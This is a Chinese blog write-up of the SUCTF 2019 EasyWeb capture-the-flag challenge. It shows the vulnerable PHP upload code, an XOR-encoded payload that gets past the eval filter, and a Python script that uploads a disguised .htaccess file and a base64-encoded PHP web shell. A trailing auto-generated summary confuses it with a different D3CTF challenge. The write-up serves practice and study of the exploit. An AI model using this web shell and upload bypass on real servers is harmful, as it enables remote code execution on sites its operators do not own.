[SUCTF 2019]EasyWeb --不会编程的崽

个人认为,这题还算有些东西。先来看源码

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

 还是很好理解,首先通过_传参,经过一系列过滤,然后执行参数。这里应该要去调用get_the_flag()函数。这个函数是一个文件上传的功能,首先获取你的ip并生成文件路径,在判断文件后缀是否含有ph(无论大小写),文件内容是否含有<?,在判断文件是否为图片。了解这些后,开始一步步攻破。

1.[\x00- 0-9A-Za-z]:匹配任意ASCII字符,包括数字和大小写字母。

    \'"\~_&.,|=`:匹配特定的字符,包括单引号、双引号、反引号、波浪线、下划线、和符号、逗      号、点号、竖线和等号。

 [\x7F]+:匹配ASCII码为127(十六进制为0x7F)的字符,即删除字符

  过滤了这些大概也能猜到要怎么绕过了吧,就是异或绕过。如果直接构造phpinfo会太长。所以构    造_GET

<?php
function finds($string){
	$index = 0;
	$a=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255];
	for($i=27;$i<count($a);$i++){
		for($j=27;$j<count($a);$j++){
			$x = $a[$i] ^ $a[$j];
			for($k = 0;$k<strlen($string);$k++){
				if(ord($string[$k]) == $x){
					echo $string[$k]."\n";
					echo '%' . dechex($a[$i]) . '^%' . dechex($a[$j])."\n";
					$index++;
					if($index == strlen($string)){
						return 0;
					}
				}
			}
		}
	}
}
finds("_GET");
?>

?_=${%86%86%86%86^%d9%c1%c3%d2}{%d2}();&%d2=phpinfo

 其实flag已经找到了,哈哈哈

这应该是一个小瑕疵,还是用正常的解法吧。去访问get_the_flag()函数。

?_=${%86%86%86%86^%d9%c1%c3%d2}{%d2}();&%d2=get_the_flag

路径是remote_addr的md5值,这就是构造phpinfo的原因。这里就不太方便放出我的真实ip。 

 

访问一下确实存在

到这就要到下一步了,构造数据包。

第一步它过滤了后包含ph的后缀。ctf做多了应该明白了吧。大概率要传.htaccess或者在有php文件的情况下传.user.ini。这里使用htaccess。因为要检测是否为图片。所以头还得加上

#define width 1337
#define height 1337

第二过滤<?。这里使用base64编码绕过

第三,exif_imagetype()是否为图片,使用GIF89a之类的就行。因为要进行base64解码,如果单单只是GIF89a,解码会报错影响后边,所以构造GIF89a12就不会解码报错了。

没有上传入口就使用脚本上传

import requests
import base64

htaccess = b"""#define width 1337
#define height 1337 
AddType application/x-httpd-php .txt
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_f65a0ca982c669865231909b0ec85a0c/shell.txt"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['a']);?>")
url = "http://4ec51500-93fb-4c41-b573-4f0ad09c5c40.node5.buuoj.cn:81/?_=${%86%86%86%86^%d9%c1%c3%d2}{%d2}();&%d2=get_the_flag"

files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)

files = {'file':('shell.txt',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)

 拿蚁剑连接一下,发现看不了根目录,估计又是disable_function。使用下边这个工具模式绕过它

 可以自己去下载

 

flag就在根目录下边 

  • 23
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
回答: \[1\]根据引用\[1\]中的描述,当将Smarty嵌入到CI框架中时,可能使用的是一个兼容低版本Smarty的引擎,而不是最新的Smarty引擎。这可能是因为参考的文章比较旧,导致整合时选择了兼容低版本的引擎。 \[2\]引用\[2\]中提到,CI框架的类是按需加载的,而不是自动加载的。这导致在全局搜索__destruct方法时可能会出现很多结果,但实际上无法使用。这可能是导致pop链不好找的一个重要原因。 \[3\]引用\[3\]中提到,在phpinfo中发现了一个flag,这表明还有另一种方法可以获取flag,即通过get_the_flag方法。然而,get_the_flag方法有两个过滤条件,一个是不允许出现"<?",另一个是对文件头字节进行过滤。作者提到可以传递一个文本文件,内容进行base64编码,并加上图片头字节,然后再传递一个.htaccess文件进行解码。 综上所述,\[D3CTF 2019\]EasyWeb可能涉及到使用兼容低版本的Smarty引擎、按需加载的类导致pop链难以找到,以及通过绕过过滤条件来获取flag的方法。 #### 引用[.reference_title] - *1* *2* [d3ctf easyweb题解](https://blog.csdn.net/weixin_42474164/article/details/116281650)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [[SUCTF 2019]EasyWeb](https://blog.csdn.net/shinygod/article/details/124045024)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值